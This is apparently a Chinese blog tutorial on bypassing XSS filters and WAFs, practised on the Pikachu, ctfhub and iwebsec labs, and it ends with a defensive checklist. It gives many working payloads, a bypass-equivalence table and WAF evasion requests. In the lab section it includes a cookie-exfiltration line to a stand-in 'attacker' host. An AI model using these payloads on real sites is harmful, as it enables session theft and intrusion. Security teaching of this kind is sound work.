尧图网站设计 尧图网站设计YAOTU DESIGN
ARTICLE DETAIL

资讯详情

深耕网站设计与一线实操的经验洞察。

XSS过滤绕过实战:从标签、编码到WAF绕过的完整思路

XSS过滤绕过实战:从标签、编码到WAF绕过的完整思路 搞网络安全的人谁没被XSS过滤恶心过几回我在做授权渗透测试的时候遇到最多的不是没漏洞而是明明有反射点就是被过滤器掐死。尤其是现在大家普遍上了WAF云上还套着腾讯云或者宝塔的防护一个scriptalert(1)/script基本是秒拦。但实话讲过滤和绕过从来都是猫鼠游戏WAF和代码层过滤器都有固定的思维定式只要摸透它们的判定逻辑绕过只是排列组合的问题。这篇帖子我会把标签绕过、过滤绕过、WAF绕过三个层面彻底拆开讲配合皮卡丘靶场、ctfhub和iwebsec的实际通关思路把我实战中验证过、真正能用的技巧和踩过的坑分享出来。前提说清楚所有内容只适用于你有授权的靶场和测试环境别拿去打未授权目标这既是职业底线也是法律红线。1. 为什么XSS过滤总能拦住你先搞懂过滤器的判定逻辑很多初学者拿到一个XSS点就疯狂提交payload被拦了就换下一个试了一堆全被过滤最后得出这地方没漏洞的结论。其实不是没漏洞是你压根没搞懂对面那个过滤器到底在过滤什么。绕过的前提是知彼所以我先带你看清楚各种过滤机制的工作模式。1.1 三层过滤架构你面对的到底是哪一层一个正常的Web应用XSS载荷要生效至少得穿透三层检测。第一层是输入侧过滤就是后端代码里用preg_replace、addslashes、htmlspecialchars这类函数对用户输入做处理第二层是输出侧编码也就是模板引擎在渲染时自动转义比如各种CMS自带的防护第三层是WAF边界检测跑在Nginx、OpenResty或者云防护上在流量进入应用之前就拦一道。这三层的工作方式完全不同。代码层过滤器通常是简单粗暴的字符串匹配看到script就替换成空字符串看到onerror就删掉这类过滤器的绕过空间非常大而WAF层更复杂有的是正则规则库匹配有的已经引入了语义分析能识别编码后的载荷所以你会发现同一段payload在本地过滤器能过放进WAF环境下就被拦。我判断过滤器类型有个习惯先提交一个最普通的scriptalert(document.cookie)/script看响应里被过滤成什么样。如果script被直接删掉说明是黑名单关键词替换如果输出lt;scriptgt;说明是输出编码如果请求直接返回403或者拦截页面说明是WAF层。三种情况对应三种完全不同的绕过策略后面会展开。1.2 黑名单与白名单绕过思路的分水岭过滤器设计者的思路基本分两派。黑名单派维护一个危险关键词列表凡是命中就过滤问题在于HTML和JavaScript语法太灵活等价写法无穷无尽黑名单永远列不完。白名单派只允许指定字符集出现其他全部编码或拦截这种过滤器的强度要高一个量级绕过难度也大得多。实战中你遇到的绝大多数过滤都是黑名单。你看宝塔面板的XSS防护规则本质上就是一堆正则黑名单的组合ctfhub里的XSS题目也是典型黑名单一关一个过滤规则。黑名单有一个致命弱点它必须把所有危险写法都列出来但只要漏掉一种整个防线就崩了。而白名单比如只允许[a-zA-Z0-9]虽然难绕但遇到业务需要允许特殊字符的场景又会出现大量误杀所以很多站点为了业务功能不得不放宽限制这就是绕过的突破口。还有个细节值得注意很多过滤器是递归过滤的比如把script替换为空字符串但只替换一次。我提交scrscriptipt第一次过滤后变成script由于只处理一轮就直接输出了反而变成了合法的可执行标签。这种非递归单次替换的疏漏在真实站点的自定义过滤函数里非常常见。1.3 DOM型XSS为什么经常绕过了服务端过滤器说到DOM型XSS它和开头说的三层过滤架构不太一样。DOM型XSS的payload根本不经过服务端它存在于前端JavaScript代码里通过location.hash、document.referrer、window.name这些DOM属性传入再用innerHTML、document.write输出到页面。服务端过滤器压根没机会接触这些数据。我在测DOM型XSS的时候有个经验先去静态代码里找那些innerHTML、document.write、eval()的调用点看看哪个变量能由外部控制然后在URL的#后面构造payload。因为#后面的内容根本不会发到服务端WAF的HTTP报文检测自然拦不到。这就能解释为什么有的站后端防护极其严格DOM型XSS却一打一个准。ctfhub上的DOM型XSS题目基本就是这个套路弹窗之后读取cookie交flag。2. 标签绕过的底层思路从HTML解析机制找突破口搞清楚过滤器的大致类型之后下一步是研究你怎么把你的JavaScript合法地塞进页面。script被黑名单删掉根本不叫事能执行JS的HTML标签和属性远比你想象的多。关键要想明白一件事浏览器解析HTML时是宽容的、有修复机制的而过滤器是机械的、死板的这个不对称性就是绕过空间。2.1 经典标签黑名单失效事件属性与HTML5新标签接力最基础的绕过是换标签。script没了用img配合事件属性img srcx onerroralert(1)src指向一个不存在的资源触发error事件onerror里的JS照常执行。这个思路能衍生出一大批svg onloadalert(1)、body onloadalert(1)、details open ontogglealert(1)、videosource onerroralert(1)。每个标签对应不同事件黑名单不可能把所有标签事件组合都列全。HTML5新增的那批标签更是过滤器重灾区。svg和math能直接在里面嵌套script而且很多过滤规则只匹配script标签的经典写法没覆盖SVG命名空间下的写法svgscriptalert(1)/script/svg还有iframe配合srcdoc属性iframe srcdocscriptalert(1)/script/iframesrcdoc里的内容会被当作HTML解析而且很多过滤规则压根不检查iframe的srcdoc属性值。这里要注意如果过滤规则检查了srcdoc里的尖括号你可以在srcdoc的值里用HTML实体编码绕过iframe srcdoclt;scriptgt;alert(1)lt;/scriptgt;/iframe浏览器在解析srcdoc属性值时先做HTML实体解码再当作HTML文档渲染所以lt;会变回被正常解析。2.2 属性闭合的四种姿势引号体系与标签拆分实战中很多XSS注入点不是独立标签而是嵌在已有标签的属性值里比如input value这里是注入点。这种情况的核心问题是怎么闭合前面的引号和标签让后面的payload独立执行。有人只会用scriptalert(1)/script一旦过滤了script就傻眼其实思路应该更灵活。我列一下常用的闭合姿势img srcx onerroralert(1) svg onloadalert(1) autofocus onfocusalert(1) x第三种是不闭合标签只闭合属性利用autofocus让输入框自动聚焦触发onfocus事件根本不需要写闭合尖括号。只要你的输入还在标签内部就不一定非要闭合标签事件属性照样跑。还有反引号的坑。很多人不知道HTML属性可以用反引号包裹input valueimg srcx onerroralert(1)如果前面的属性用了反引号闭合你按双引号闭合的思路就会失败。所以拿到注入点先看上下文到底是单引号、双引号、无引号还是反引号包裹再决定怎么闭合。浏览器还有一个特性经常被忽略如果你构造的属性名src前加了奇怪的字符浏览器会自动纠错。img/srcx/onerroralert(1)这种把斜杠当空格用的写法就是利用了解析器的宽容性。2.3 注释符、换行符和未闭合标签利用解析器的修复机制过滤script关键字最常见的绕过是注释拆分利用script标签名中间不能包含空格这个限制的反面——插入注释符scrscriptiptalert(1)/scr/scriptipt第一次过滤把中间的script删掉剩下的scriptalert(1)/script反而拼成了完整的标签。这就是前面提到的非递归过滤漏洞。同理可以用scr/*x*/ipt但注意script标签名里不能有空格scr ipt不行注释符/* */在某些解析上下文可以。换行符和Tab是更隐蔽的绕过。HTML解析器在标签名内部遇到Tab、换行符会当作空白忽略但正则黑名单匹配的是script这个连续字符串你放一个%0a进去正则就失效了scr%0aiptalert(1)/scr%0aipt这里%0a如果是URL解码后落地的换行符浏览器解析scr\nipt时会把换行当空白吞掉依然识别成script。未闭合标签的思路是让解析器吃掉过滤器的输出。如果你的注入点在HTML中间后面跟着正常页面代码可以用不闭合的payload强行吞掉后面的代码img srcx onerroralert(1)后面的正常HTML会成为img标签的属性值的一部分但onerror已经执行完了。这个技巧在输出点后面紧跟其他标签时尤其有用不需要关心标签是否闭合完整。3. 过滤绕过实操编码、拼接、等价替换的排列组合标签存活之后你可能还会遇到第二道坎事件属性里的JavaScript代码本身被过滤。比如onerroralert(1)里的alert被删了括号被删了甚至单引号引号被删了。这时候要用编码、拼接和等价替换的组合把payload变形到过滤器认不出来但浏览器执行结果完全一致。3.1 编码绕过的适用场景谁在解码、在哪一层解码编码绕过的核心是搞清楚谁在解码、在哪一层解码。如果服务器端只是简单匹配敏感关键字没有做实体解码那HTML实体编码就能绕过img srcx onerror#97;lert(1)#97;是a的HTML实体编码浏览器解析属性值时先解码onerror看到的是alert(1)而正则匹配alert时就扑了个空。但要注意如果过滤器在匹配之后、输出之前还做了htmlspecialchars那实体编码就白搭了因为输出了lt;而不是。JavaScript上下文里的编码绕法是另一套逻辑。如果注入点在script内部的某个变量值附近可以用JS的Unicode转义\u0061lert(1)\u0061是a的Unicode编码JS引擎在执行前会解码。更实用的组合是String.fromCharCodeString.fromCharCode(97,108,101,114,116,40,49,41)这个表达式的结果就是alert(1)再用eval()包裹执行。不过现在很多WAF对eval和fromCharCode都有规则需要再套一层编码。URL编码在二次解码场景也有奇效比如某些应用会把URL解码后的参数值再拼进JS代码里你提交%2561lert应用第一次解码变成%61lertJS上下文里第二次解码变成alert过滤器和WAF看到的都是%61lert完美绕过。3.2 关键字过滤的硬碰硬拼接、解码函数、重定向如果alert这个词被直接干掉那就别硬刚了把关键字拼出来。window[alert](1)这种字符串拼接在JS里执行时是合法的但正则匹配alert就抓不到。类似的还有top[alert](1) parent[alert](1)如果连window、top都被过滤可以用this或者location的取值技巧。location本身就是window的一个属性location[href]和location.href等价。还有一个经常被忽略的方向是标签属性触发。比如a hrefjavascript:alert(1)click/a这种javascript:伪协议在href里可以执行JS而且很多过滤规则只防src不防href。formbutton formactionjavascript:alert(1)也是类似思路。iframe的src也可以用javascript:伪协议iframe srcjavascript:alert(1)还有一种比较冷门的object datajavascript:alert(1)。这种载荷在过滤规则覆盖不全的老系统里非常好使。3.3 空格、括号、点号被过滤一份可抄作业的对照表现在很多过滤规则已经学会拦onerroralert(1)里的空格了因为空格是属性拆分的关键。绕过方式很多我最常用的是斜杠代替空格img/srcx/onerroralert(1)/在HTML标签里会被解析器当作分隔符效果等同空格。如果/也被过滤可以试试Tab%09、换行%0a、回车%0d这些空白字符。括号被过滤的情况比较头疼尤其是那种只允许字母数字的过滤环境。没有括号几乎没法直接调函数但还是有办法img srcx onerroralert1JavaScript里反引号可以代替括号调用函数alert\1等价于alert(1)。这种写法在过滤器眼里是alert后面跟着反引号很多正则都拦不到。点号被过滤时location.href这种写法会挂但可以用中括号取属性location[href]https://xxxx或者利用with语句非严格模式下还能用with(location)hrefhttp://xxx我再列一个常用等价替换表都是我实际打靶场时验证过的原始写法绕过写法适用场景alert(1)alert\1括号被过滤alert(1)top[alert](1)alert关键字被过滤alert(1)String.fromCharCode(97,108,101,114,116,40,49,41)关键字和引号都被过滤alert(document.cookie)alert(/cookie/.source)或document[cookie]点号被过滤、cookie字符串被过滤空格/、%09、%0a、/**/空格被过滤反引号、String.fromCharCode引号被过滤注意String.fromCharCode里的括号和逗号如果也被过滤这套也不行那就得换标签思路用HTML实体配合javascript:伪协议或者上WAF层的内容协商思路。4. WAF绕过的实战链路从特征识别到载荷变形代码层过滤器再严格逻辑总归是有限的到了WAF这个层面你需要换一套打法。WAF跟代码过滤的本质区别在于代码过滤是在应用内部做字符串处理WAF是在流量入口做报文检测它能看HTTP头、请求体、Content-Type、分块情况但它未必能完全模拟浏览器的解析逻辑。所以WAF绕过的核心思路是寻找WAF规则和浏览器解析之间的理解差。4.1 WAF和代码过滤的本质区别正则库与语义分析看一个WAF强不强可以从两个维度评估。第一是规则覆盖度也就是它的特征库有没有覆盖常见的payload变体第二是检测引擎是纯正则匹配还是引入了语义分析。纯正则引擎的绕过空间很大因为正则讲究匹配而HTML和JavaScript语法太过灵活总能找到正则没考虑到的写法。语义分析引擎更凶它会模拟浏览器解析你的报文还原解码、拼接之后真正执行的代码再判断有没有攻击特征腾讯云WAF、宝塔的nginx防火墙现在都开始往这个方向走。但即便是语义分析也存在解析差异。比如WAF按照RFC标准解析HTTP请求但真实Web框架Nginx、Apache、Tomcat的解析方式各有各的怪癖。最常见的例子是Content-Type里的charset参数、分号后面的空格不同的解析器处理方式不同会造成WAF看到的参数值和后端拿到的参数值不一致。这种解析差异正是我们打WAF绕过的立足点。4.2 四类常见的WAF绕过窗口结合我实测过的场景整理四类成功率较高的WAF绕过窗口。第一类Content-Type切换。很多WAF只对application/x-www-form-urlencoded的请求体做格式化解码遇到application/json就直接跳过或者按JSON解析。如果后端框架本身接受JSON格式的参数你就可以把payload放进JSON里POST /api/search HTTP/1.1 Content-Type: application/json {keyword:img srcx onerroralert(1)}WAF如果没解析JSON就会直接放行而Spring、Express这类后端框架默认就能处理JSON。我之前测某个授权系统前端搜索框过滤很严改成JSON提交之后直接突破就是因为WAF对JSON的检测规则稀疏。第二类multipart/form-data边界绕过。用multipart提交时WAF要解析boundary分割的每一段才能拿到参数值。你可以构造畸形的boundary或者一个请求里塞多个Content-Disposition让WAF解析出的参数顺序和后端不一致。比如WAF解析到id的值是干净的1但后端用的是它解析到最后一个id那个里面是payload。参数污染HPP的变体效果和这个类似。第三类分块传输。如果WAF只对Content-Length的报文做缓冲检测那Transfer-Encoding: chunked就绕过了。分块可以在每个chunk里拆开payload的关键字让WAF在单个数据包里匹配不到完整特征POST /xss HTTP/1.1 Host: target.com Transfer-Encoding: chunked 1 1 s 1 c 1 r 1 i 1 p 1 t 1 ... 0后端Web服务器会重新组装整个请求体恢复成scriptalert(1)/script但WAF如果不在分块级别重组就拦不到。现在主流WAF基本都支持分块重组但这个思路依然可以用来测试一些老设备或者自研防护插件。第四类垃圾数据填充与长报文边界。部分WAF为了性能检测最大报文长度或最大参数值长度超过阈值的部分直接跳过。你可以构造一个超长的User-Agent或用大量正常参数把payload往后推只要WAF引擎截断检查范围payload就逃脱了。这种方式在参数多、报文大的业务接口中尤其高效。4.3 参数污染和Unicode规范化老招式还能用参数污染HTTP Parameter Pollution在WAF绕过里生命力极强。原理是同一个参数名提交多次值不同的Web框架取到的值不一样。比如POST /search?keywordscriptalert(1)/scriptkeywordhelloTomcat取第一个Apache取最后一个WAF可能两个都检查也可能只查第一个。你只要找到WAF和后端取参顺序的差异就能构造绕过。宝塔环境用OpenResty居多取参逻辑是Nginx风格和后端Java、PHP框架经常不一致这就是一个天然的Bypass入口。Unicode规范化是另一个老思路。有些应用在后端会对参数做Unicode标准化NFKC把全角字符转成半角把兼容字符替换成等价字符。你提交keywordscriptalert(1)/script用的是全角尖括号WAF的正则匹配的是半角直接放行后端如果做了Unicode规范化全角会被转成半角最终反射到页面上就是可执行的标签。这类问题在涉及国际化文本处理的站点里非常常见。还有编码变体比如把写成%3c、%253c、HTML实体、\u003cJS Unicode转义关键在于摸清楚后端到底做了哪几轮解码。我的一般做法是提交同一payload的不同编码形态观察响应里哪一轮解码生效了然后沿着那个解码层级继续构造。坦白说腾讯云WAF和宝塔的规则更新都很快我今天写出来的具体绕过写法可能下个月就被补上了但找解析差异、找过滤盲区、找解码层级这个方法论不会过时。你带着这套框架去测遇到新防护也能自己找到突破口。5. 靶场复现与自查清单把绕过技巧练成肌肉记忆理论知识说再多不亲手打一遍等于零。我最推荐的方式是拿皮卡丘靶场、ctfhub和iwebsec这三套东西反复练手它们各自的出题风格代表了真实世界的三类场景。练完之后别忘了切到防御视角用你学到的绕过思路反查自己的代码。5.1 皮卡丘靶场反射型XSS复现完整链路走一遍皮卡丘Pikachu靶场是Web安全入门的经典环境它的反射型XSS关卡设计得非常适合练基础。搭建好之后打开反射型XSSGET页面你会看到一个输入框。第一次测试我建议不要直接上payload先随便输入一个字符串比如test提交后观察URLhttp://127.0.0.1/pikachu/vul/xss/xss_reflected_get.php?messagetestsubmitsubmit。确认反射点后先提交一个最小验证payloadscriptalert(1)/script皮卡丘这关默认是没有过滤的弹窗直接出来。通关之后你可以改源码给这关加上过滤函数比如在xss_reflected_get.php里加一句$message preg_replace(/script/i, , $message);然后你就会发现原来的payload死了。这时候再用img srcx onerroralert(1)已经能过。继续加过滤onerror那就得用HTML实体或者拼接思路。这样一关一关给自己加码比直接做高级靶场更能建立直觉。皮卡丘的DOM型XSS关卡也值得认真做。它用JS直接读取URL参数然后拼进DOM你提交的payload根本不发到服务端抓包看HTTP请求里压根没有XSS内容。这种服务端无感知的漏洞类型在真实众测里特别吃香因为WAF和后端日志全都没记录。5.2 ctfhub和iwebsec的不同考点过滤等级与DOM型对照ctfhub的XSS题目是按过滤等级设计的Basic、Filter、DOM分开考。做Filter关卡时你会遇到真实过滤场景比如双写绕过、编码绕过、大小写混合绕过。我通关时印象最深的一关是过滤了script但没过滤img标签而且属性值做了HTML实体编码但没过滤实体编码本身所以img srcx onerror#97;lert(1)直接过关。这类关卡训练的就是对过滤规则缺什么补什么的敏感度。iwebsec的XSS通关题比ctfhub更综合每一关不仅要求弹窗还要求读取cookie或者执行特定JS。其中有一关要求用XSS读取管理员的cookie环境里模拟了HttpOnly和non-HttpOnly两种cookie。我提交scriptalert(document.cookie)/script后HttpOnly的cookie是取不到的。这时候就得想别的路子用fetch请求带着cookie打到你的收集服务器上或者用img srchttp://attacker/?cdocument.cookie外带数据。这里要提醒一句在自己靶场里随便打但外带数据到VPS时注意别留恶意代码痕迹靶场归靶场纪律是纪律。DOM型XSS在iwebsec里也有一席之地考点集中在location.hash注入和innerHTML输出。做题时你会发现innerHTML赋值时script标签根本不会执行必须用img onerror这类标签才能触发。这个知识点在真实渗透里非常关键很多新手在DOM XSS里狂试script无效就放弃了其实是没搞懂innerHTML的执行限制。5.3 防御视角自查清单你能扛住自己刚才的绕过吗练完进攻建议立刻切换到防御视角。我给你一份自查清单拿你自己的项目过一遍这几条都做到了上面八成绕过手法就打不动你。第一输出编码做到位。在HTML上下文中输出用户数据用htmlspecialchars($data, ENT_QUOTES, UTF-8)或者模板引擎的{{ data }}自动转义确保变成lt;。在JS上下文中输出用json_encode转成安全字符串或者用textContent而不是innerHTML。第二输入校验走白名单。只允许业务必需的字符集比如搜索框只允许数字字母中文和少量标点从源头上干掉标签注入。别贪省事用黑名单黑名单在等价替换面前是纸糊的。第三Cookie加HttpOnly关键操作加CSP。HttpOnly让document.cookie拿不到会话凭证CSP的script-src限制可以阻止外联脚本和内联事件执行。CSP写得太松比如unsafe-inline等于没写这点要特别注意。第四WAF别裸奔。WAF只是减少攻击面的一环不要以为套了腾讯云或者宝塔就高枕无忧。我在测试中不止一次遇到过WAF拦了但应用自身防御等于零的情况WAF规则一旦漏掉后端就是门户大开。更稳的做法是WAF代码层输出编码HttpOnly三层叠加。这套攻防打下来你最大的收获不是记住了多少payload而是养成一个习惯看到任何用户输入输出点先问一句数据流经过哪几层变换每一层各自信任什么、忽略什么。想明白这个问题XSS绕过对你来说就是一道开卷题了。
返回列表